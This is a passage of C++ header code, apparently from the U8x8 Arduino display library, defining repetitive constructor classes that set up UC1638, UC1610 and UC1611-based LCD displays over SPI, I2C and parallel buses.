u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1638_240X128_HW_I2C : public U8X8 {\n  public: U8X8_UC1638_240X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1638_240X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1638_240X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_6800 : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_8080 : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_SW_I2C : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_HW_I2C : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1610_EA_DOGXL160_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1610_EA_DOGXL160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_6800 : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_8080 : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_SW_I2C : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1611_EA_DOGM240_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_EA_DOGM240_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_6800 : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_8080 : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_SW_I2C : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1611_EA_DOGXL240_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_EA_DOGXL240_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1611_EW50850_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_EW50850_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EW50850_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EW50850_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EW50850_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EW50850_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EW50850_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_EW50850_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1611_EW50850_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_EW50850_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1611_EW50850_6800 : public U8X8 {\n  public: U8X8_UC1611_EW50850_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EW50850_8080 : public U8X8 {\n  public: U8X8_UC1611_EW50850_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_EW50850_SW_I2C : public U8X8 {\n  public: U8X8_UC1611_EW50850_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1611_EW50850_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_EW50850_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1611_EW50850_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_EW50850_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1611_CG160160_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_CG160160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_CG160160_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_CG160160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_CG160160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_CG160160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_CG160160_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_CG160160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1611_CG160160_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_CG160160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1611_CG160160_6800 : public U8X8 {\n  public: U8X8_UC1611_CG160160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_CG160160_8080 : public U8X8 {\n  public: U8X8_UC1611_CG160160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_CG160160_SW_I2C : public U8X8 {\n  public: U8X8_UC1611_CG160160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1611_CG160160_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_CG160160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1611_CG160160_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_CG160160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_IDS4073_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_IDS4073_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_IDS4073_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1611_IDS4073_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    